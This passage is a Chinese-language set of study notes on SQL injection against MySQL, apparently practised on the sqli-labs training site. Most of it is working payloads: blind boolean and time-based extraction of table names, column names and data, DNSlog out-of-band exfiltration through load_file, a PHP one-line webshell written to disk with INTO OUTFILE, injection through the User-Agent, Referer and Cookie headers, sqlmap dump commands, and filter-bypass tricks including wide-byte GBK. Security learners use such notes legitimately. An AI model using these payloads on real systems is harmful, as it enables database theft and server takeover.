【n 为长度】【必须要有 limit a-1,1】
9. 猜解字段名(若页面正常显示则判断正确)
猜解第一个字段名
and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段名【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
10. 猜解列中字段内容的长度(若页面正常显示则判断正确)
猜解第一个字段内容的长度
and (select length(字段名) from 表名 limit 0,1) > n --+
【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】
and (select length(字段名) from 表名 limit a-1,1) > n --+
【n 为长度】【必须要有 limit a-1,1】
11. 猜解列中字段内容(若页面正常显示则判断正确)
猜解第一个字段内容
and (select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
【POST】 时间盲注
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
id=1
字符型【示例】:id=1'
这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】id=1 and 1=1
为真id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解数据库名长度(若页面刷新指定秒则判断正确)
and if(length(database())=n,sleep(2),0) --+
【n为字符数】【可枚举出 n】
and if(length(database())>n,sleep(2),0) --+
【n为字符数】【二分法】【下面步骤用此法】
3. 猜解数据库名(若页面刷新指定秒则判断正确)
and if(ascii(substr(database(),1,1))>n,sleep(2),0) --+
and if(ascii(substr(database(),2,1))>n,sleep(2),0) --+
【n为 ASCII 码,基本字符就前 128 个】
and if(ascii(substr(database(),...,1))>n,sleep(2),0) --+
对照 ASCII 码表即可将数据库名拼出 ASCII码对照表
【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号】
【示例】
and if(substr(database(),1,1)='s',sleep(2),0) --+
4. 猜解数据库中表的数量(若页面刷新指定秒则判断正确)
and if((select count(table_name) from information_schema.tables where table_schema = database())>n,sleep(2),0) --+
【n 为数量】
5. 猜解表名长度(若页面刷新指定秒则判断正确)
and if((select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】
6. 猜解表名(若页面刷新指定秒则判断正确)
猜解第一个表名and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】
and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
7. 猜解表中的字段数(若页面刷新指定秒则判断正确)
and if((select count(column_name) from information_schema.columns where table_name = '表名' ) > n,sleep(2),0) --+
【n 为数量】【表名按照上面步骤猜解出来的】
8. 猜解字段长度(若页面刷新指定秒则判断正确
猜解第一个字段长度
and if((select length(column_name) from information_schema.columns where table_name = '表名' limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段长度【下面的 a-1 就是当前为第 a 个表 -1】
and if((select length(column_name) from information_schema.columns where table_name = '表名' limit a-1,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit a-1,1】
9. 猜解字段(若页面刷新指定秒则判断正确)
猜解第一个字段
and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段【下面的 a-1 就是当前为第 a 个表 -1】
and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
10. 猜解字段内容的长度(若页面刷新指定秒则判断正确)
猜解第一个字段内容的长度
and if((select length(字段名) from 表名 limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】
and if((select length(字段名) from 表名 limit a-1,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit a-1,1】
11. 猜解字段内容(若页面刷新指定秒则判断正确)
猜解第一个字段内容
and if((select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】
and if((select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
【POST】 DNSlog 注入
需要了解 DNSlog 和 UNC 的知识,可以参考 DNSlog注入学习
所用命令
select load_file("");
由于是读文件,需要相对应的读写权限
👇👇👇
首先查看 MySQL 是否有读写文件的权限
show variables like '%secure%';
若 secure_file_priv 的值为 NULL ,则没有读写权限
若 secure_file_priv 的值为一个具体路径 ,则只在该路径下有读写权限
若 secure_file_priv 的值为 ,则在任何路径下都有读写权限
如果是本地做实验要开启的话,可修改 my.ini 配置文件,添加
secure_file_priv=
保存之后重启 mysql 服务即可
前置知识
UNC 路径
\\servername\sharename
servername 表示 ip 或者域名
sharename 表示共享资源的名称 【相当于文件夹或文件,在这没那重要,名称可以不存在,但是要写】
【注意】
\\ 容易被当成转义符,建议使用 //
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
id=1
字符型【示例】:id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
**id=1 and sleep(2)
** 【延时判断】上面这句话若闭合,则页面两秒后响应
若秒响应,则未闭合
【以数字型为例,字符型同理】
id=1 and 1=1
为真 【布尔判断】id=1 and 1=2
为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 找一个 DNSlog 平台
找一些在线的,此教程以 CEYE 平台为例3. 获取数据库名
and (select load_file(concat('//',(select database()),'.你的Identifier/1.txt'))) --+
所以我们只需要改
select database()
和你的Identifier
即可select database()
填 sql 注入语句4. 获取表名
只能一条一条的读,改 limit 后面的值即可
and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.你的Identifier/1.txt'))) --+
5. 获取字段名
and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='表名' limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='表名' limit 1,1),'.你的Identifier/1.txt'))) --+
6. 获取字段内容
and (select load_file(concat('//',(select 字段名 from 表名 limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select 字段名 from 表名 limit 1,1),'.你的Identifier/1.txt'))) --+
至于如何获得Identifier
首先,注册一个 ceye 的账号并登录进去
异或注入
若两个值不同,则异或结果为 1
若两个值相同,则异或结果为 0
若 100=1 可以理解的话就不用看了
根据从左到右算,不同为 1,相同则为 0 的法则
则前面的 1^0=1,然后将结果跟后面的 0 进行异或,则 1^0=1,所以 100=1
若闭合符前的字符不为数字怎么算
字符若不含数字,则为 0
字符中若含有数字字母,则直接取数字
【例】
?id=1'^0^0 --+
相当于 and 1=1
其实不一定是 100,只要异或最后的结果是 1 就行了【111 也行】
如何写入注入语句呢
可以这么写
?id=1'^1^(select length(database())=7) --+
然后直接替换括号里面的内容就行了,其实就是判断括号里面语句的结果是 0 还是 1 而已【结合布尔盲注】
半自动/自动化注入
利用 Burp Suite 进行半自动化注入
【以布尔盲注为例】
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】?id=1 and 1=1
为真?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 半自动化爆破数据库名长度
先截包再发送给 Intruder 模块
添加 payload 位置
添加字典,开始爆破
找正确答案即可
3、半自动化爆破数据库名
bp抓包发送 Intruder 模块,并添加 payload
添加字典,开始爆破
找出正确答案
往后的步骤同理
利用 sqlmap 实现自动化注入
基本步骤
1. 前提条件
请确保你的计算机已经安装 python 并成功配置环境变量2. 下载并解压 sqlmap
3. 运行 sqlmap
**打开 sqlmap 根目录,单击上面的地址栏,输入 cmd,打开命令行窗口,输入 **
python sqlmap.py -h
若出现这个界面则表示运行成功
4. 使用 sqlmap 进行自动化注入
【GET 提交方法】
最简单的方法,输入下面命令然后一路回车即可
python sqlmap.py -u 网址 -dump
【示例】
python sqlmap.py -u http://sqli-labs/Less-9/?id=1 -dump
注意:输入的网址最好是带参数
【POST 提交方法】
最简单的方法,输入下面命令然后一路回车即可
python sqlmap.py -u 网址 --forms -dump
【示例】
python sqlmap.py -u http://sqli-labs/Less-15/ --forms -dump
MySQL 文件上传
首先查看 MySQL 是否有读写文件的权限
show variables like '%secure%';
若 secure_file_priv 的值为 NULL ,则没有读写权限
若 secure_file_priv 的值为一个具体路径 ,则只在该路径下有读写权限
若 secure_file_priv 的值为 ,则在任何路径下都有读写权限
如果是本地做实验要开启的话,可修改 my.ini 配置文件,添加
secure_file_priv=
保存之后重启 mysql 服务即可
所用命令
select ... into outfile ...
目标
上传一个一句话木马或者是你想上传的 php 文件
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】?id=1 and 1=1
为真?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 判断字段数
可以一个一个猜
union select 1
union select 1,2
union select 1,2,...
若页面回显正常,则判断正确
【例】
3. 文件上传
直接构造语句
union select 1,2,"<?php @eval($_POST[a]);?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\a.php"--+
路径要用双 \ 写
页面报语法错误,但实际上已经上传成功
4. 连接蚁剑
HTTP 头注入
uagent 注入
uagent,即 User-Agent,中文名为用户代理,简称UA
它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
内容就是浏览器及版本信息,电脑信息等。常见用途为限制打开软件,浏览器,以及上网行为管理等。
优先使用 union 查询,但通常与报错注入结合注入【什么报错注入都行,此以 updatexml 为例】
union 联合注入 > 报错注入 > 布尔盲注 > 时间盲注
可以用 hackbar 改或者 burp 抓包改【主要目标为 User-Agent 】
基本步骤
1. 判断闭合符方法【用 \ 号】
User-Agent: 1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型【例】
若遇到 '127.0.0.1','admin')' 这种的,实际上就是把输入的内容跟后面两个内容拼接起来,直接把当 2 ,3 替换上去就行了
上面都是引号,符号该闭合的闭合,即
User-Agent: 1',2,3)#
然后开始注入,注入语句放 1' 后面也好,或者 2,3 后面都行
那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】User-Agent: 1' and 1=1,2,3)#
为真User-Agent: 1' and 1=2,2,3)#
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解表名
and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
3. 猜解字段名
and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name=表名),0x7e),1) --+
4. 猜解字段内容
and updatexml(1,concat((select group_concat(字段1,...) from 表名),0x7e),1) --+
若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】and updatexml(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users)),1) --+
referer 注入
Referer,即HTTP Referer,,是头部信息neader的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
常见用法:
防盗链:比如只允许自己的网站访问自己的图片服务器,自己的域名是 www.google..com,那么服务器每次提取到 Referer 来判断是不是自己的域名 www.google.com,如果是就继续访问,如果不是就拦截。
防止恶意请求:比如静态请求是 *.html 结尾的,动态请求是 * .shtml,.那么由此可以这么用,所有的 *.shtml 请求,必须 Referer 为我自己的网站。
空referer:首先,我们对空Referer定义为,Referer头部的内容为空,或者,一个HTTP请求中根本不包含Referer头部。
基本步骤
1. 判断闭合符方法【用 \ 号】
Referer: 1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型【例】
若遇到 '127.0.0.1')' 这种的,实际上就是把输入的内容跟后面的内容拼接起来,直接把当 2 替换上去就行了
上面都是引号,符号该闭合的闭合,即
Referer: 1',2)#
然后开始注入,注入语句放 1' 后面也好,或者 2 后面都行
那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】Referer: 1' and 1=1,2)#
为真Referer: 1' and 1=2,2)#
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解表名
and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
3. 猜解字段名
and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name=表名),0x7e),1) --+
4. 猜解字段内容
and updatexml(1,concat((select group_concat(字段1,...) from 表名),0x7e),1) --+
若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】and updatexml(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users)),1) --+
cookie 注入
某些网站为了辨别用户身份,进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息。
暂时记录用户个人信息,且可以保存在客户机上。
基本步骤
1. 判断闭合符方法【用 \ 号】
Cookie: uname=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】Cookie: uname=1 and 1=1
为真Cookie: uname=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解表名
and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
3. 猜解字段名
and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name=表名),0x7e),1) --+
4. 猜解字段内容
and updatexml(1,concat((select group_concat(字段1,...) from 表名),0x7e),1) --+
若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】and updatexml(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users)),1) --+
绕过过滤
绕过注释符号过滤
注释符号的作用:把后面不需要的语句注释掉,保证句子的完整性
常用注释符号
--+
%23【url 编码】
/**/
若为数字型注入,则不需考虑注释符号绕过
绕过手法
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型常见闭合符
''
""
('')
("")
那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】?id=1 and 1=1
为真?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合2. 绕过
先将语句闭合掉, 然后在后面补个
and '1'='1
后面不闭合,留着给原语句闭合,所以闭合符要判断正确?id=1' and '1'='1
则注入语句可以写到这里
?id=1' [这里] and '1'='1
【例】
先判断回显点为 2,3,由于 3 要控制闭合,那就选 2 作为回显位
?id=-1' union select 1,(select database()),3 and '1'='1
绕过关键字过滤
and:两边同时满足
or:任意一边满足即可
union
select
绕过手法
使用大小写绕过
将中间某个字母改为大写,如:Or、oR、OR、And、ANd、aNd、aND、AND 等
【例】
?id' anD 1=1 --+
双写绕过
将 and 或 or 塞进 and 或 or 里
【例】
?id=1' anandd 1=1 --+
符号替代绕过
用符号替代 and【&&】or【 ||】
【例】
?id=1' && 1=1 --+
编码绕过
将字母符号进行 hex、url 等编码
【例】& 的 url 编码为 %26
?id=1' %26%26 1=1 --+
添加注释绕过
用内联注释或多行注释绕过
?id=1' /*!and*/ 1=1 --+
异或截断绕过
若两个值不同,则异或结果为 1
若两个值相同,则异或结果为 0
若 100=1 可以理解的话就不用看了
根据从左到右算,不同为 1,相同则为 0 的法则
则前面的 1^0=1,然后将结果跟后面的 0 进行异或,则 1^0=1,所以 100=1
若闭合符前的字符不为数字怎么算
字符若不含数字,则为 0
字符中若含有数字字母,则直接取数字
【例】
?id=1'^0^0 --+
相当于 and 1=1
其实不一定是 100,只要异或最后的结果是 1 就行了【111 也行】
如何写入注入语句呢
可以这么写
?id=1'^1^(select length(database())=7) --+
然后直接替换括号里面的内容就行了,其实就是判断括号里面语句的结果是 0 还是 1 而已【结合布尔盲注】
报错绕过
多用括号以达到不使用空格的效果【与报错注入搭配】
【例】
?id=0'||extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))||'1'='1
绕过空格过滤
绕过手法
符号代替绕过
常用 + 号代替空格
url编码绕过
常用代替空格的 url 编码
%20 spaces
%09 TAB
%0A LF【换行】
%0C FF【换页】
%0D CR
%0B VT
%A0 -OA-【仅 mysql】
报错绕过
多用括号以达到不使用空格的效果【与报错注入搭配】
【例】
?id=0'||extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))||'1'='1
绕过逗号过滤
绕过手法
join 内联
-1 union select * from (select 1)a join (select 2)b join (select 3)c --+
只需要将语句替换掉数字
【例】
-1 union select * from (select 1)a join (select 2)b join (select database())c --+
绕过 = 号过滤
绕过手法
Between
在什么与什么之间
select database() between 0x61 and 0x7a;
in
mysql中in常用于where表达式中,其作用是查询某个范围内的数据
SELECT * FROM user WHERE uid IN (2,3,5)
Like
模糊查询,也可以当等于号用
?id = 1 or 1 like 1
等同于
?id = 1 or 1 = 1
使用正则代替等于号
SELECT ‘Hern’ REGEXP ‘[0-9]’;
Rlike === regexp
REGEXP 等同于 RLIKE
绕过 database 过滤
绕过手法
查询一个不存在的表或函数
select * from fdsafsd;
会报这个表不存在,前面就带着库名
绕过 column 过滤
绕过手法
join 内联
select * from (select * from 表名 as a join 表名 as b) as c);
爆出一个字段名之后可以用刚爆出的字段名去爆其他字段名
select * from (select * from 表名 as a join 表名 as b using(刚爆出的字段名1,...)) as c);
as 是用来起别名的,可以省略【适合 as 被过滤时】
绕过 addslashes() 函数过滤
addslashes() 作用
addslashes() 函数在指定的预定义字符前添加反斜杠。这些字符是单引号(')、双引号(")、反斜线()与 NULL(NULL字符)。
转义,例如在单引号前加反斜线 \ ,则会转义没有功能性的单引号
当写入或查询用户名 1’ 时,数据库会识别单引号为闭合符号,要求再输入一个单引号将其闭合,只查询 1 而没办法查询 1‘
如果输入 1\',\ 会使 ' 失去闭合符的功能,变成普通字符 ',则数据库会识别为 1'
绕过手法
宽字节绕过
局限性
宽字节绕过需要数据库编码方式为 gbk 编码,否则无法使用
浅析
Mysq在使用GBK编码的时候,会认为两个字符为一个汉字,所以可以使用一些字符与经过 addslashes() 过后多出来的 \ 组合成两个字符,变成 mysql 数据库不识别的汉字字符,导致对单引号、双引号的转义失败,使其参数闭合。
【假设】输入 %df',经过 addslashes() 过后会在 ' 前面加个 / 也就是 %5c,即 %df%5c【符合 GBK 的取值范围】,会被解析成一个汉字,实际上出来的东西应该是 運’【 编码查询 】,而函数插入的 / 失效,后面的 ‘ 可以正常用来闭合
只能是 %df 吗?
不一定,只要符合 GBK 的取值范围的,即【首字节在 81-FE 之间,尾字节在 40-FE 之间】,在 %81-%FE 范围内的都行,尾字节为 %5C 固定不用管
【例】
?id=-1%81' union select 1,2,database() --+
然后其他按正常手法注入即可文章来源地址https://www.toymoban.com/news/detail-644730.html
到了这里,关于SQL 注入学习【笔记】的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!